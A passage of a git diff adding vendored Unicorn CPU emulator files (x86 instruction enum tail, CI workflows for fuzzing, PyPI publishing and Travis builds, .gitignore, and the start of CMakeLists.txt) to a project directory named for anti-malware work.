UC_X86_INS_VPEXTRQ, + UC_X86_INS_VPEXTRW, + UC_X86_INS_VPGATHERDD, + UC_X86_INS_VPGATHERDQ, + UC_X86_INS_VPGATHERQD, + UC_X86_INS_VPGATHERQQ, + UC_X86_INS_VPHADDBD, + UC_X86_INS_VPHADDBQ, + UC_X86_INS_VPHADDBW, + UC_X86_INS_VPHADDDQ, + UC_X86_INS_VPHADDD, + UC_X86_INS_VPHADDSW, + UC_X86_INS_VPHADDUBD, + UC_X86_INS_VPHADDUBQ, + UC_X86_INS_VPHADDUBW, + UC_X86_INS_VPHADDUDQ, + UC_X86_INS_VPHADDUWD, + UC_X86_INS_VPHADDUWQ, + UC_X86_INS_VPHADDWD, + UC_X86_INS_VPHADDWQ, + UC_X86_INS_VPHADDW, + UC_X86_INS_VPHMINPOSUW, + UC_X86_INS_VPHSUBBW, + UC_X86_INS_VPHSUBDQ, + UC_X86_INS_VPHSUBD, + UC_X86_INS_VPHSUBSW, + UC_X86_INS_VPHSUBWD, + UC_X86_INS_VPHSUBW, + UC_X86_INS_VPINSRB, + UC_X86_INS_VPINSRD, + UC_X86_INS_VPINSRQ, + UC_X86_INS_VPINSRW, + UC_X86_INS_VPLZCNTD, + UC_X86_INS_VPLZCNTQ, + UC_X86_INS_VPMACSDD, + UC_X86_INS_VPMACSDQH, + UC_X86_INS_VPMACSDQL, + UC_X86_INS_VPMACSSDD, + UC_X86_INS_VPMACSSDQH, + UC_X86_INS_VPMACSSDQL, + UC_X86_INS_VPMACSSWD, + UC_X86_INS_VPMACSSWW, + UC_X86_INS_VPMACSWD, + UC_X86_INS_VPMACSWW, + UC_X86_INS_VPMADCSSWD, + UC_X86_INS_VPMADCSWD, + UC_X86_INS_VPMADDUBSW, + UC_X86_INS_VPMADDWD, + UC_X86_INS_VPMASKMOVD, + UC_X86_INS_VPMASKMOVQ, + UC_X86_INS_VPMAXSB, + UC_X86_INS_VPMAXSD, + UC_X86_INS_VPMAXSQ, + UC_X86_INS_VPMAXSW, + UC_X86_INS_VPMAXUB, + UC_X86_INS_VPMAXUD, + UC_X86_INS_VPMAXUQ, + UC_X86_INS_VPMAXUW, + UC_X86_INS_VPMINSB, + UC_X86_INS_VPMINSD, + UC_X86_INS_VPMINSQ, + UC_X86_INS_VPMINSW, + UC_X86_INS_VPMINUB, + UC_X86_INS_VPMINUD, + UC_X86_INS_VPMINUQ, + UC_X86_INS_VPMINUW, + UC_X86_INS_VPMOVDB, + UC_X86_INS_VPMOVDW, + UC_X86_INS_VPMOVM2B, + UC_X86_INS_VPMOVM2D, + UC_X86_INS_VPMOVM2Q, + UC_X86_INS_VPMOVM2W, + UC_X86_INS_VPMOVMSKB, + UC_X86_INS_VPMOVQB, + UC_X86_INS_VPMOVQD, + UC_X86_INS_VPMOVQW, + UC_X86_INS_VPMOVSDB, + UC_X86_INS_VPMOVSDW, + UC_X86_INS_VPMOVSQB, + UC_X86_INS_VPMOVSQD, + UC_X86_INS_VPMOVSQW, + UC_X86_INS_VPMOVSXBD, + UC_X86_INS_VPMOVSXBQ, + UC_X86_INS_VPMOVSXBW, + UC_X86_INS_VPMOVSXDQ, + UC_X86_INS_VPMOVSXWD, + UC_X86_INS_VPMOVSXWQ, + UC_X86_INS_VPMOVUSDB, + UC_X86_INS_VPMOVUSDW, + UC_X86_INS_VPMOVUSQB, + UC_X86_INS_VPMOVUSQD, + UC_X86_INS_VPMOVUSQW, + UC_X86_INS_VPMOVZXBD, + UC_X86_INS_VPMOVZXBQ, + UC_X86_INS_VPMOVZXBW, + UC_X86_INS_VPMOVZXDQ, + UC_X86_INS_VPMOVZXWD, + UC_X86_INS_VPMOVZXWQ, + UC_X86_INS_VPMULDQ, + UC_X86_INS_VPMULHRSW, + UC_X86_INS_VPMULHUW, + UC_X86_INS_VPMULHW, + UC_X86_INS_VPMULLD, + UC_X86_INS_VPMULLQ, + UC_X86_INS_VPMULLW, + UC_X86_INS_VPMULUDQ, + UC_X86_INS_VPORD, + UC_X86_INS_VPORQ, + UC_X86_INS_VPOR, + UC_X86_INS_VPPERM, + UC_X86_INS_VPROTB, + UC_X86_INS_VPROTD, + UC_X86_INS_VPROTQ, + UC_X86_INS_VPROTW, + UC_X86_INS_VPSADBW, + UC_X86_INS_VPSCATTERDD, + UC_X86_INS_VPSCATTERDQ, + UC_X86_INS_VPSCATTERQD, + UC_X86_INS_VPSCATTERQQ, + UC_X86_INS_VPSHAB, + UC_X86_INS_VPSHAD, + UC_X86_INS_VPSHAQ, + UC_X86_INS_VPSHAW, + UC_X86_INS_VPSHLB, + UC_X86_INS_VPSHLD, + UC_X86_INS_VPSHLQ, + UC_X86_INS_VPSHLW, + UC_X86_INS_VPSHUFB, + UC_X86_INS_VPSHUFD, + UC_X86_INS_VPSHUFHW, + UC_X86_INS_VPSHUFLW, + UC_X86_INS_VPSIGNB, + UC_X86_INS_VPSIGND, + UC_X86_INS_VPSIGNW, + UC_X86_INS_VPSLLDQ, + UC_X86_INS_VPSLLD, + UC_X86_INS_VPSLLQ, + UC_X86_INS_VPSLLVD, + UC_X86_INS_VPSLLVQ, + UC_X86_INS_VPSLLW, + UC_X86_INS_VPSRAD, + UC_X86_INS_VPSRAQ, + UC_X86_INS_VPSRAVD, + UC_X86_INS_VPSRAVQ, + UC_X86_INS_VPSRAW, + UC_X86_INS_VPSRLDQ, + UC_X86_INS_VPSRLD, + UC_X86_INS_VPSRLQ, + UC_X86_INS_VPSRLVD, + UC_X86_INS_VPSRLVQ, + UC_X86_INS_VPSRLW, + UC_X86_INS_VPSUBB, + UC_X86_INS_VPSUBD, + UC_X86_INS_VPSUBQ, + UC_X86_INS_VPSUBSB, + UC_X86_INS_VPSUBSW, + UC_X86_INS_VPSUBUSB, + UC_X86_INS_VPSUBUSW, + UC_X86_INS_VPSUBW, + UC_X86_INS_VPTESTMD, + UC_X86_INS_VPTESTMQ, + UC_X86_INS_VPTESTNMD, + UC_X86_INS_VPTESTNMQ, + UC_X86_INS_VPTEST, + UC_X86_INS_VPUNPCKHBW, + UC_X86_INS_VPUNPCKHDQ, + UC_X86_INS_VPUNPCKHQDQ, + UC_X86_INS_VPUNPCKHWD, + UC_X86_INS_VPUNPCKLBW, + UC_X86_INS_VPUNPCKLDQ, + UC_X86_INS_VPUNPCKLQDQ, + UC_X86_INS_VPUNPCKLWD, + UC_X86_INS_VPXORD, + UC_X86_INS_VPXORQ, + UC_X86_INS_VPXOR, + UC_X86_INS_VRCP14PD, + UC_X86_INS_VRCP14PS, + UC_X86_INS_VRCP14SD, + UC_X86_INS_VRCP14SS, + UC_X86_INS_VRCP28PD, + UC_X86_INS_VRCP28PS, + UC_X86_INS_VRCP28SD, + UC_X86_INS_VRCP28SS, + UC_X86_INS_VRCPPS, + UC_X86_INS_VRCPSS, + UC_X86_INS_VRNDSCALEPD, + UC_X86_INS_VRNDSCALEPS, + UC_X86_INS_VRNDSCALESD, + UC_X86_INS_VRNDSCALESS, + UC_X86_INS_VROUNDPD, + UC_X86_INS_VROUNDPS, + UC_X86_INS_VROUNDSD, + UC_X86_INS_VROUNDSS, + UC_X86_INS_VRSQRT14PD, + UC_X86_INS_VRSQRT14PS, + UC_X86_INS_VRSQRT14SD, + UC_X86_INS_VRSQRT14SS, + UC_X86_INS_VRSQRT28PD, + UC_X86_INS_VRSQRT28PS, + UC_X86_INS_VRSQRT28SD, + UC_X86_INS_VRSQRT28SS, + UC_X86_INS_VRSQRTPS, + UC_X86_INS_VRSQRTSS, + UC_X86_INS_VSCATTERDPD, + UC_X86_INS_VSCATTERDPS, + UC_X86_INS_VSCATTERPF0DPD, + UC_X86_INS_VSCATTERPF0DPS, + UC_X86_INS_VSCATTERPF0QPD, + UC_X86_INS_VSCATTERPF0QPS, + UC_X86_INS_VSCATTERPF1DPD, + UC_X86_INS_VSCATTERPF1DPS, + UC_X86_INS_VSCATTERPF1QPD, + UC_X86_INS_VSCATTERPF1QPS, + UC_X86_INS_VSCATTERQPD, + UC_X86_INS_VSCATTERQPS, + UC_X86_INS_VSHUFPD, + UC_X86_INS_VSHUFPS, + UC_X86_INS_VSQRTPD, + UC_X86_INS_VSQRTPS, + UC_X86_INS_VSQRTSD, + UC_X86_INS_VSQRTSS, + UC_X86_INS_VSTMXCSR, + UC_X86_INS_VSUBPD, + UC_X86_INS_VSUBPS, + UC_X86_INS_VSUBSD, + UC_X86_INS_VSUBSS, + UC_X86_INS_VTESTPD, + UC_X86_INS_VTESTPS, + UC_X86_INS_VUNPCKHPD, + UC_X86_INS_VUNPCKHPS, + UC_X86_INS_VUNPCKLPD, + UC_X86_INS_VUNPCKLPS, + UC_X86_INS_VZEROALL, + UC_X86_INS_VZEROUPPER, + UC_X86_INS_WAIT, + UC_X86_INS_WBINVD, + UC_X86_INS_WRFSBASE, + UC_X86_INS_WRGSBASE, + UC_X86_INS_WRMSR, + UC_X86_INS_XABORT, + UC_X86_INS_XACQUIRE, + UC_X86_INS_XBEGIN, + UC_X86_INS_XCHG, + UC_X86_INS_XCRYPTCBC, + UC_X86_INS_XCRYPTCFB, + UC_X86_INS_XCRYPTCTR, + UC_X86_INS_XCRYPTECB, + UC_X86_INS_XCRYPTOFB, + UC_X86_INS_XEND, + UC_X86_INS_XGETBV, + UC_X86_INS_XLATB, + UC_X86_INS_XRELEASE, + UC_X86_INS_XRSTOR, + UC_X86_INS_XRSTOR64, + UC_X86_INS_XRSTORS, + UC_X86_INS_XRSTORS64, + UC_X86_INS_XSAVE, + UC_X86_INS_XSAVE64, + UC_X86_INS_XSAVEC, + UC_X86_INS_XSAVEC64, + UC_X86_INS_XSAVEOPT, + UC_X86_INS_XSAVEOPT64, + UC_X86_INS_XSAVES, + UC_X86_INS_XSAVES64, + UC_X86_INS_XSETBV, + UC_X86_INS_XSHA1, + UC_X86_INS_XSHA256, + UC_X86_INS_XSTORE, + UC_X86_INS_XTEST, + UC_X86_INS_FDISI8087_NOP, + UC_X86_INS_FENI8087_NOP, + + UC_X86_INS_ENDING, // mark the end of the list of insn +} uc_x86_insn; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/.github/workflows/cifuzz.yml b/ai_anti_malware/unicorn/unicorn-master/.github/workflows/cifuzz.yml new file mode 100644 index 0000000..f4259d6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/.github/workflows/cifuzz.yml @@ -0,0 +1,23 @@ +name: CIFuzz +on: [pull_request] +jobs: + Fuzzing: + runs-on: ubuntu-latest + steps: + - name: Build Fuzzers + uses: google/oss-fuzz/infra/cifuzz/actions/build_fuzzers@master + with: + oss-fuzz-project-name: 'unicorn' + dry-run: false + - name: Run Fuzzers + uses: google/oss-fuzz/infra/cifuzz/actions/run_fuzzers@master + with: + oss-fuzz-project-name: 'unicorn' + fuzz-seconds: 600 + dry-run: false + - name: Upload Crash + uses: actions/upload-artifact@v1 + if: failure() + with: + name: artifacts + path: ./out/artifacts diff --git a/ai_anti_malware/unicorn/unicorn-master/.github/workflows/python-publish.yml b/ai_anti_malware/unicorn/unicorn-master/.github/workflows/python-publish.yml new file mode 100644 index 0000000..7f0c1de --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/.github/workflows/python-publish.yml @@ -0,0 +1,67 @@ +name: PyPI 📦 Distribution + +on: [push] + +jobs: + build: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [windows-latest, macos-latest, ubuntu-latest] + platform: [x32, x64] + steps: + - uses: actions/checkout@v2 + + - name: Set up Python + uses: actions/setup-python@v2 + with: + python-version: '3.x' + + - name: Set up MSVC + if: matrix.os == 'windows-latest' + uses: microsoft/setup-msbuild@v1 + + - name: Install dependencies + run: | + pip install setuptools wheel + + - name: Build distribution 📦 + shell: bash + run: | + if [ ${{ matrix.platform }} == 'x32' ] && [ ${{ matrix.os }} == 'windows-latest' ]; then + cd bindings/python && python setup.py build -p win32 sdist bdist_wheel -p win32 + rm dist/*.tar.gz + elif [ ${{ matrix.platform }} == 'x32' ] && [ ${{ matrix.os }} == 'ubuntu-latest' ]; then + docker run --rm -v `pwd`/:/work dockcross/manylinux1-x86 > ./dockcross + chmod +x ./dockcross + ./dockcross bindings/python/build_wheel.sh + elif [ ${{ matrix.platform }} == 'x64' ] && [ ${{ matrix.os }} == 'ubuntu-latest' ]; then + docker run --rm -v `pwd`/:/work dockcross/manylinux1-x64 > ./dockcross + chmod +x ./dockcross + ./dockcross bindings/python/build_wheel.sh + elif [ ${{ matrix.platform }} == 'x32' ] && [ ${{ matrix.os }} == 'macos-latest' ]; then + cd bindings/python && python setup.py sdist + else + cd bindings/python && python setup.py bdist_wheel + fi + + - uses: actions/upload-artifact@v2 + with: + path: ${{ github.workspace }}/bindings/python/dist/* + + publish: + needs: [build] + runs-on: ubuntu-latest + if: startsWith(github.ref, 'refs/tags') + steps: + - uses: actions/download-artifact@v2 + with: + name: artifact + path: dist + + - name: Publish distribution 📦 to PyPI + uses: pypa/gh-action-pypi-publish@master + with: + user: __token__ + password: ${{ secrets.pypi_pass }} diff --git a/ai_anti_malware/unicorn/unicorn-master/.gitignore b/ai_anti_malware/unicorn/unicorn-master/.gitignore new file mode 100644 index 0000000..18fd949 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/.gitignore @@ -0,0 +1,101 @@ +.DS_Store +*.swp +*.d +*.o +*.a +*.dSYM +*.so +*.so.* +*.exe +*.dll +*.class +*.jar +*~ + +qemu/config-all-devices.mak + +qemu/aarch64-softmmu/ +qemu/aarch64eb-softmmu/ +qemu/arm-softmmu/ +qemu/armeb-softmmu/ +qemu/m68k-softmmu/ +qemu/mips64el-softmmu/ +qemu/mips64-softmmu/ +qemu/mipsel-softmmu/ +qemu/mips-softmmu/ +qemu/sparc64-softmmu/ +qemu/sparc-softmmu/ +qemu/i386-softmmu/ +qemu/x86_64-softmmu/ +qemu/ppc-softmmu/ +qemu/ppc64-softmmu/ + +tags +qemu/config-host.ld +qemu/config.log +qemu/config.status +qemu/config-host.h +qemu/config-host.h-timestamp +qemu/config-host.mak + +libunicorn*.dll +libunicorn*.so +libunicorn*.dylib + +unicorn.pc + +unicorn.lib +unicorn.dll +unicorn.exp +unicorn.def +unicorn_*.lib +unicorn_*.exp +unicorn_*.dll + + +*.tgz +*.zip +*.pyc +_*.txt +_*.diff +tmp/ + +bindings/python/build/ +bindings/python/dist/ +bindings/python/src/ +bindings/python/unicorn.egg-info/ +bindings/python/unicorn/lib/ +bindings/python/unicorn/include/ +bindings/python/MANIFEST +config.log + + +################# +## Visual Studio +################# + +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# vscode +.vscode +.vscode/ + +# User-specific files +*.opensdf +*.sdf +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +Win32/ +build/ +[Bb]in/ +[Oo]bj/ +packages/ +cmocka/ diff --git a/ai_anti_malware/unicorn/unicorn-master/.travis.yml b/ai_anti_malware/unicorn/unicorn-master/.travis.yml new file mode 100644 index 0000000..c08466b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/.travis.yml @@ -0,0 +1,353 @@ +language: c +env: + - PATH=$PATH:/usr/local/opt/binutils/bin +script: + - | + if [[ "$TRAVIS_OS_NAME" == "windows" ]]; then + if [[ "$TRAVIS_COMPILER" == "clang" ]]; then + choco install cygwin cyg-get && \ + cyg-get.bat default autoconf automake make gcc-core clang pkg-config libpcre-devel cmake python27-setuptools ruby wget && \ + export SHELLOPTS && set -o igncr && \ + cmd.exe //C "C:\\tools\\cygwin\\bin\\bash.exe -lc 'cd /cygdrive/$TRAVIS_BUILD_DIR; make header; make'" + else + choco install cygwin cyg-get && \ + cyg-get.bat default autoconf automake make gcc-core clang pkg-config libpcre-devel cmake python27-setuptools ruby wget && \ + export SHELLOPTS && set -o igncr && \ + cmd.exe //C "C:\\tools\\cygwin\\bin\\bash.exe -lc 'cd /cygdrive/$TRAVIS_BUILD_DIR; make header; make; ./install-cmocka-linux.sh; export PATH="$PATH":/cygdrive/$TRAVIS_BUILD_DIR:/cygdrive/$TRAVIS_BUILD_DIR/cmocka/src; make test'" + fi + elif [[ "$TRAVIS_CPU_ARCH" == "arm64" ]]; then + make header && make && make -C tests/unit test && make -C tests/regress test + else + make header && make && make -C bindings/go && make -C bindings/go test && make test + fi +compiler: + - clang + - gcc +os: + - linux + - windows +arch: + - amd64 + - arm64 +matrix: + fast_finish: true + exclude: + - os: windows + arch: arm64 + include: + + - name: "Compiler: clang C" + os: osx + osx_image: xcode10.1 + python: 3.7 + compiler: clang + before_cache: + - brew cleanup + - find /usr/local/Homebrew \! -regex ".+\.git.+" -delete; + cache: + directories: + - $HOME/Library/Caches/Homebrew + - /usr/local/Homebrew + before_install: + - cd /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core && git stash && git clean -d -f + script: + - cd $TRAVIS_BUILD_DIR + - make header && make && make -C bindings/go && make -C bindings/go test && make test + + - name: "Compiler: gcc C" + os: osx + osx_image: xcode10.1 + python: 3.7 + compiler: gcc + before_cache: + - brew cleanup + - find /usr/local/Homebrew \! -regex ".+\.git.+" -delete; + cache: + directories: + - $HOME/Library/Caches/Homebrew + - /usr/local/Homebrew + before_install: + - cd /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core && git stash && git clean -d -f + script: + - cd $TRAVIS_BUILD_DIR + - make header && make && make -C bindings/go && make -C bindings/go test && make test + + - name: "Linux clang ASAN" + os: linux + compiler: clang + env: + - PATH=$PATH:/usr/local/opt/binutils/bin + - ASAN_OPTIONS=detect_leaks=0 + - CXXFLAGS="-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=address -fsanitize=fuzzer-no-link" + - CFLAGS="-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=address -fsanitize=fuzzer-no-link" + - LDFLAGS="-fsanitize=address" + script: + - make header && make + - make -C tests/fuzz && sh tests/fuzz/dlcorpus.sh + + - name: "Linux clang MSAN" + os: linux + compiler: clang + env: + - PATH=$PATH:/usr/local/opt/binutils/bin + - ASAN_OPTIONS=detect_leaks=0 + - CXXFLAGS="-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=memory -fsanitize=fuzzer-no-link" + - CFLAGS="-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=memory -fsanitize=fuzzer-no-link" + - LDFLAGS="-fsanitize=memory" + script: + - make header && make + - make -C tests/fuzz && sh tests/fuzz/dlcorpus.sh + + - name: "Linux clang USAN" + os: linux + compiler: clang + env: + - PATH=$PATH:/usr/local/opt/binutils/bin + - ASAN_OPTIONS=detect_leaks=0 + - CXXFLAGS="-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=undefined -fsanitize=fuzzer-no-link" + - CFLAGS="-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION -fsanitize=undefined -fsanitize=fuzzer-no-link" + - LDFLAGS="-fsanitize=undefined" + script: + - make header && make + - make -C tests/fuzz && sh tests/fuzz/dlcorpus.sh + + - name: "Linux 32bit" + os: linux + compiler: gcc + env: + - CFLAGS="-m32" LDFLAGS="-m32" LDFLAGS_STATIC="-m32" UNICORN_QEMU_FLAGS="--cpu=i386" + - PATH=$PATH:/usr/local/opt/binutils/bin + script: make header && make && make -C tests/unit test && make -C tests/regress test + addons: + apt: + packages: + - lib32ncurses5-dev + - lib32z1-dev + - libpthread-stubs0-dev + - lib32gcc-4.8-dev + - libc6-dev-i386 + - gcc-multilib + - libcmocka-dev:i386 + + - name: "Linux Cmake 32bit" + os: linux + compiler: gcc + env: + - CFLAGS="-m32" LDFLAGS="-m32" LDFLAGS_STATIC="-m32" UNICORN_QEMU_FLAGS="--cpu=i386" + - PATH=$PATH:/usr/local/opt/binutils/bin + script: + - mkdir build + - cd build + - ../cmake.sh x86 + - cp libunicorn.* ../ + - make -C ../tests/unit test && make -C ../tests/regress test + addons: + apt: + packages: + - lib32ncurses5-dev + - lib32z1-dev + - libpthread-stubs0-dev + - lib32gcc-4.8-dev + - libc6-dev-i386 + - gcc-multilib + - libcmocka-dev:i386 + + - name: "Linux Cmake 64bit" + os: linux + compiler: gcc + env: + - PATH=$PATH:/usr/local/opt/binutils/bin + script: + - mkdir build + - cd build + - ../cmake.sh + - cp libunicorn.* ../ + - make -C ../tests/unit test && make -C ../tests/regress test + + - name: "Linux Cmake Static 32bit" + os: linux + compiler: gcc + env: + - CFLAGS="-m32" LDFLAGS="-m32" LDFLAGS_STATIC="-m32" UNICORN_QEMU_FLAGS="--cpu=i386" + - PATH=$PATH:/usr/local/opt/binutils/bin + script: + - mkdir build + - cd build + - cmake -DCMAKE_BUILD_TYPE=Release -DUNICORN_ARCH=x86 -DUNICORN_BUILD_SHARED=OFF .. && make -j8 +# temporarily disable test for static build +# - cp libunicorn.* ../ +# - make -C ../tests/unit test && make -C ../tests/regress test + addons: + apt: + packages: + - lib32ncurses5-dev + - lib32z1-dev + - libpthread-stubs0-dev + - lib32gcc-4.8-dev + - libc6-dev-i386 + - gcc-multilib + - libcmocka-dev:i386 + + - name: "Linux Cmake Static 64bit" + os: linux + compiler: gcc + env: + - PATH=$PATH:/usr/local/opt/binutils/bin + script: + - mkdir build + - cd build + - cmake -DCMAKE_BUILD_TYPE=Release -DUNICORN_BUILD_SHARED=OFF .. && make -j8 +# - cp libunicorn.* ../ +# - make -C ../tests/unit test && make -C ../tests/regress test + + - name: "MacOSX brew" + os: osx + osx_image: xcode10.1 + python: 3.7 + before_cache: + - brew cleanup + - find /usr/local/Homebrew \! -regex ".+\.git.+" -delete; + cache: + directories: + - $HOME/Library/Caches/Homebrew + - /usr/local/Homebrew + before_install: + - cd /usr/local/Homebrew/Library/Taps/homebrew/homebrew-core && git stash && git clean -d -f + script: + - brew install --HEAD unicorn + - brew test unicorn + + - name: "Windows nmake 32bit" + os: windows + language: shell + script: + - mkdir build + - cd build + - cmd.exe //C 'C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Auxiliary\Build\vcvarsall.bat' x86 '&' cmd.exe //C '..\nmake.bat' x86 + + - name: "Windows nmake 64bit" + os: windows + language: shell + script: + - mkdir build + - cd build + - cmd.exe //C 'C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\VC\Auxiliary\Build\vcvarsall.bat' amd64 '&' cmd.exe //C '..\nmake.bat' + + - name: "Windows MSVC 32bit" + os: windows + language: shell + env: + - MSBUILD_PATH="C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\MSBuild\15.0\Bin" + script: + - PATH=$MSBUILD_PATH:$PATH + - cmd.exe //C 'msbuild.exe msvc/unicorn.sln /m:2 /nologo /p:Configuration=Release /p:Platform=Win32' + + - name: "Windows MSVC 64bit" + os: windows + language: shell + env: + - MSBUILD_PATH="C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\MSBuild\15.0\Bin" + script: + - PATH=$MSBUILD_PATH:$PATH + - cmd.exe //C 'msbuild.exe msvc/unicorn.sln /m:2 /nologo /p:Configuration=Release /p:Platform=x64' + + - name: "Windows MSYS2/MinGW32" + os: windows + language: shell + env: + - PATH=/C/tools/msys64/mingw32/bin:$PATH + before_install: + - | + if [[ ! -f /C/tools/msys64/msys2_shell.cmd ]]; then + rm -rf /C/tools/msys64 + fi + - choco uninstall -y mingw + - choco upgrade --no-progress -y msys2 + - export msys2='cmd //C RefreshEnv.cmd ' + - export msys2+='& set MSYS=winsymlinks:nativestrict ' + - export msys2+='& C:\\tools\\msys64\\msys2_shell.cmd -defterm -no-start' + - export shell="$msys2 -mingw32 -full-path -here -c \$\* --" + - export msys2+=" -msys2 -c \$\* --" + - $msys2 pacman --sync --noconfirm --needed \ + autoconf \ + automake \ + make \ + perl \ + python \ + mingw-w64-i686-libtool \ + mingw-w64-i686-toolchain \ + mingw-w64-i686-gcc \ + mingw-w64-i686-cmake \ + mingw-w64-i686-cmocka \ + mingw-w64-i686-python3-setuptools \ + unzip + - export CPPFLAGS=-D__USE_MINGW_ANSI_STDIO=1 + - export CC=i686-w64-mingw32-gcc + - export AR=gcc-ar + - export RANLIB=gcc-ranlib + - export CFLAGS="-m32" + - export LDFLAGS="-m32" + - export LDFLAGS_STATIC="-m32" + - export UNICORN_QEMU_FLAGS="--cpu=i386" +# before_cache: +# - $msys2 pacman --sync --clean --noconfirm +# cache: +# timeout: +# 1000 +# directories: +# - $HOME/AppData/Local/Temp/chocolatey +# - /C/tools/msys64 + script: + - $shell make header; $shell make; cp unicorn.dll /C/Windows/SysWOW64/; $shell make test + + - name: "Windows MSYS2/MinGW64" + os: windows + language: shell + env: + - PATH=/C/tools/msys64/mingw64/bin:$PATH + before_install: + - | + if [[ ! -f /C/tools/msys64/msys2_shell.cmd ]]; then + rm -rf /C/tools/msys64 + fi + - choco uninstall -y mingw + - choco upgrade --no-progress -y msys2 + - export msys2='cmd //C RefreshEnv.cmd ' + - export msys2+='& set MSYS=winsymlinks:nativestrict ' + - export msys2+='& C:\\tools\\msys64\\msys2_shell.cmd -defterm -no-start' + - export shell="$msys2 -mingw64 -full-path -here -c \$\* --" + - export msys2+=" -msys2 -c \$\* --" + - $msys2 pacman --sync --noconfirm --needed \ + autoconf \ + automake \ + make \ + perl \ + python \ + mingw-w64-x86_64-libtool \ + mingw-w64-x86_64-toolchain \ + mingw-w64-x86_64-cmake \ + mingw-w64-x86_64-cmocka \ + mingw-w64-x86_64-python3-setuptools + unzip + - export CPPFLAGS=-D__USE_MINGW_ANSI_STDIO=1 + - export CC=x86_64-w64-mingw32-gcc + - export AR=gcc-ar + - export RANLIB=gcc-ranlib +# before_cache: +# - $msys2 pacman --sync --clean --noconfirm +# cache: +# timeout: +# 1000 +# directories: +# - $HOME/AppData/Local/Temp/chocolatey +# - /C/tools/msys64 + script: + - $shell make header; $shell make; cp unicorn.dll /C/Windows/System32/; $shell make test +addons: + apt: + packages: + - libpthread-stubs0-dev + - libcmocka-dev + homebrew: + update: true + brewfile: true diff --git a/ai_anti_malware/unicorn/unicorn-master/AUTHORS.TXT b/ai_anti_malware/unicorn/unicorn-master/AUTHORS.TXT new file mode 100644 index 0000000..5d4ea77 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/AUTHORS.TXT @@ -0,0 +1,2 @@ +Nguyen Anh Quynh +Dang Hoang Vu diff --git a/ai_anti_malware/unicorn/unicorn-master/Brewfile b/ai_anti_malware/unicorn/unicorn-master/Brewfile new file mode 100644 index 0000000..82c6563 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/Brewfile @@ -0,0 +1,6 @@ +# Travis CI setup for MacOS Brew + +# used for testing framework +brew "cmocka" +# used for cross assembly of code for testing +brew "crosstool-ng" diff --git a/ai_anti_malware/unicorn/unicorn-master/CMakeLists.txt b/ai_anti_malware/unicorn/unicorn-master/CMakeLists.txt new file mode 100644 index 0000000..c2b4da1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/CMakeLists.txt @@ -0,0 +1,980 @@ +# Tested on window10(x64) with vs2019. +# Open the "x86 Native Tools Command Prompt for VS 2019", +# cd ${UNICORN_SOURCE_DIR} +# mkdir build +# cd build +# cmake -G "NMake Makefiles" .. +# nmake +# Or Open "x64 Native Tools Command Prompt for VS 2019" for 64bit binary. +# Tested on Ubuntu-1804-amd64 with gcc. +# $ cd ${UNICORN_SOURCE_DIR} +# $ mkdir build +# $ cd build +# $ cmake .. +# $ make +# By Huitao Chen, 2019 + +cmake_minimum_required(VERSION 3.1) +project(unicorn C) + +set(UNICORN_VERSION_MAJOR 1) +set(UNICORN_VERSION_MINOR 0) +set(UNICORN_VERSION_PATCH 2) + +option(UNICORN_BUILD_SHARED "Build shared instead of static library" ON) + +if (NOT UNICORN_ARCH) + # build all architectures + set(UNICORN_ARCH "x86 arm aarch64 m68k mips sparc") +endif() + +string(TOUPPER ${UNICORN_ARCH} UNICORN_ARCH) +string(REPLACE " " ";" UNICORN_ARCH_LIST ${UNICORN_ARCH}) + +foreach(ARCH_LOOP ${UNICORN_ARCH_LIST}) + set(UNICORN_HAS_${ARCH_LOOP} TRUE) +endforeach(ARCH_LOOP) + +# qemu uses assert(). It is not recommended to define NDEBUG if using assert() +# to detect error conditions since the software may behave +# non-deterministically. Remove the NDEBUG macro. +if(CMAKE_BUILD_TYPE STREQUAL "Release") + string(REPLACE "-DNDEBUG" "" CMAKE_C_FLAGS_RELEASE ${CMAKE_C_FLAGS_RELEASE}) +endif() + +if(MSVC) + include_directories( + ${CMAKE_CURRENT_SOURCE_DIR}/msvc/unicorn + ) +else() + include_directories( + ${CMAKE_BINARY_DIR} + ) +endif() + +include_directories( + qemu + qemu/include + qemu/tcg + include +) + +if(MSVC) + if(CMAKE_SIZEOF_VOID_P EQUAL 8) + set(MSVC_FLAG -D__x86_64__) + elseif(CMAKE_SIZEOF_VOID_P EQUAL 4) + set(MSVC_FLAG -D__i386__) + else() + message(FATAL_ERROR "Neither WIN64 or WIN32!") + endif() + add_compile_options( + -Dinline=__inline + -D__func__=__FUNCTION__ + -D_CRT_SECURE_NO_WARNINGS + -DWIN32_LEAN_AND_MEAN + ${MSVC_FLAG} + /I${CMAKE_CURRENT_SOURCE_DIR}/qemu/tcg/i386 + /wd4018 /wd4244 /wd4267 + ) + if(CMAKE_BUILD_TYPE STREQUAL "Debug") + string(REPLACE "/ZI" "/Zi" CMAKE_C_FLAGS_DEBUG ${CMAKE_C_FLAGS_DEBUG}) + endif() + # default use the multithread, static version of the run-time library. + option(UNICORN_STATIC_MSVCRT "Embed static runtime library" ON) + if (UNICORN_STATIC_MSVCRT) + string(REPLACE 